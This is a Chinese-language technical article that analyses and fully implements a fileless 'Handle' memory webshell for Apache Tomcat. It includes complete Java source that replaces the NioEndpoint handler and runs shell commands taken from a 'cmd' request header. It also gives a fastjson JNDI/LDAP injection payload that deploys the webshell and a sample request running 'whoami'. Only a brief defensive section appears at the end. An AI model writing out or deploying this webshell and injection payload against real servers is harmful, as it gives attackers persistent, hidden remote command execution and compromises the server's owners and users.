Tomcat Handle内存马技术分析与实现
0x00 前言
本文详细分析并实现了一种新型Tomcat内存马技术——Handle内存马。这种内存马解决了在请求数据未完全解析到request对象时如何获取请求数据并进行回显的技术难题。
0x01 技术背景
在传统的Adapter内存马中,当处理较靠前的组件时,数据尚未完全解析到请求对象中,导致以下方法无法获取请求头数据:
processor.getRequest().getHeader("cmd");
同时,response对象也未完全准备好,直接获取response写入数据会导致异常且无法回显。Handle内存马正是为解决这些问题而设计。
0x02 理论基础
关键方法位于:
AbstractProtocol.ConnectionHandler#public SocketState process(SocketWrapperBase wrapper, SocketEvent status)
该方法会根据不同协议创建不同的Processor,并调用其process方法。默认情况下(Http11NioProtocol),会调用Http11Processor的process方法。
通过分析调用链,可以发现这个handle实际上是NioEndpoint的handler属性。因此,我们只需要获取内存中的NioEndpoint,并替换其handler属性为我们的恶意handler,即可完成注入。
0x03 内存马构造
3.1 获取NioEndpoint
使用以下方法获取内存中的NioEndpoint对象:
public static Object getNioEndpoint() {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) continue;
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = getField(thread, "target");
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0");
} catch (Exception e) {}
if (jioEndPoint == null) {
try {
jioEndPoint = getField(target, "endpoint");
return jioEndPoint;
} catch (Exception e) {
new Object();
}
} else {
return jioEndPoint;
}
}
}
return new Object();
}
3.2 替换Handler
获取NioEndpoint后,保留原始handler,然后替换为我们的恶意handler:
NioEndpoint nioEndpoint = (NioEndpoint) getNioEndpoint();
handler = nioEndpoint.getHandler();
MyHandler myHandler = new MyHandler();
nioEndpoint.setHandler(myHandler);
3.3 请求数据获取
由于请求数据尚未解析到request对象中,传统方法无法获取请求数据。解决方案是通过NioSocketWrapper的read方法直接获取请求流数据:
byte[] bytes = new byte[8192];
ByteBuffer buf = ByteBuffer.wrap(bytes);
try {
wrapper.read(false, buf);
buf.position(0);
wrapper.unRead(buf);
String a = new String(buf.array(), "UTF-8");
if (a.indexOf("cmd") != -1) {
// 处理命令
}
} catch (Exception e) {
e.printStackTrace();
buf.position(0);
wrapper.unRead(buf);
}
关键点:
- 使用
wrapper.read读取请求数据 - 使用
wrapper.unRead将数据放回流中,不影响后续处理 - 从字节流中直接解析命令参数
3.4 数据回显
由于此时response对象未完全准备好,需要特殊处理回显:
// 设置socketWrapper,使response能正确写入数据
Method setMethod = processor.getClass().getDeclaredMethod("setSocketWrapper", SocketWrapperBase.class);
setMethod.setAccessible(true);
setMethod.invoke(processor, wrapper);
// 执行命令并写入响应
byte[] result = exec(cmd.trim());
processor.getRequest().getResponse().doWrite(ByteBuffer.wrap(result));
// 调用finishResponse刷新流
Method finshMethod = processor.getClass().getDeclaredMethod("finishResponse");
finshMethod.setAccessible(true);
finshMethod.invoke(processor);
0x04 完整实现
import org.apache.coyote.Processor;
import org.apache.tomcat.util.net.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.util.Set;
public class MyHandler implements AbstractEndpoint.Handler {
private static AbstractEndpoint.Handler handler;
private static Processor processor;
static {
NioEndpoint nioEndpoint = (NioEndpoint) getNioEndpoint();
handler = nioEndpoint.getHandler();
MyHandler myHandler = new MyHandler();
nioEndpoint.setHandler(myHandler);
Set<SocketWrapperBase<NioChannel>> connections = nioEndpoint.getConnections();
for (SocketWrapperBase<NioChannel> c : connections) {
Object currentProcessor = c.getCurrentProcessor();
if (null != currentProcessor) {
processor = (Processor) currentProcessor;
break;
}
}
}
@Override
public SocketState process(SocketWrapperBase wrapper, SocketEvent status) {
byte[] bytes = new byte[8192];
ByteBuffer buf = ByteBuffer.wrap(bytes);
try {
wrapper.read(false, buf);
buf.position(0);
wrapper.unRead(buf);
} catch (Exception e) {
e.printStackTrace();
buf.position(0);
wrapper.unRead(buf);
}
SocketState r = SocketState.CLOSED;
try {
String a = new String(buf.array(), "UTF-8");
if (a.indexOf("cmd") != -1) {
Method setMethod = processor.getClass().getDeclaredMethod("setSocketWrapper", SocketWrapperBase.class);
setMethod.setAccessible(true);
setMethod.invoke(processor, wrapper);
String cmd = a.substring(a.indexOf("cmd") + "cmd".length() + 1, a.indexOf("\r", a.indexOf("cmd")));
byte[] result = exec(cmd.trim());
processor.getRequest().getResponse().doWrite(ByteBuffer.wrap(result));
Method finshMethod = processor.getClass().getDeclaredMethod("finishResponse");
finshMethod.setAccessible(true);
finshMethod.invoke(processor);
} else {
r = handler.process(wrapper, status);
}
} catch (Exception e) {
e.printStackTrace();
}
return r;
}
public byte[] exec(String c) {
byte[] result = new byte[]{};
try {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe", "/c", c}
: new String[]{"/bin/sh", "-c", c};
result = new java.util.Scanner(
new ProcessBuilder(cmd).start().getInputStream())
.useDelimiter("\\A").next().getBytes();
} catch (Exception e) {}
return result;
}
// 其他必要的方法实现...
}
0x05 注入方式
可以通过JNDI注入方式部署该内存马:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1389/0/MyHandler/123",
"autoCommit":true
}
0x06 验证与使用
- 通过JNDI注入内存马
- 发送任意请求,在请求头中包含
cmd参数 - 恶意handler会截获请求,执行命令并返回结果
示例请求:
GET /any/path HTTP/1.1
Host: target.com
cmd: whoami
...
0x07 注意事项
- 对于Tomcat 8.0以前版本,由于IO处理方式不同,此方法可能不适用
- 该方法依赖于Tomcat内部实现细节,不同版本可能需要调整
- 在实际环境中使用时需要考虑线程安全等问题
0x08 防御措施
- 监控NioEndpoint的handler属性变化
- 检查可疑的线程和类加载行为
- 使用RASP等运行时防护产品
- 定期更新Tomcat版本
0x09 总结
Handle内存马提供了一种在请求处理早期阶段进行拦截的方法,解决了传统内存马在请求数据未完全解析时的操作难题。通过直接操作socket流和精心设计的回显机制,实现了稳定可靠的命令执行功能。这种技术也提醒我们,内存马的防御需要覆盖请求处理的整个生命周期。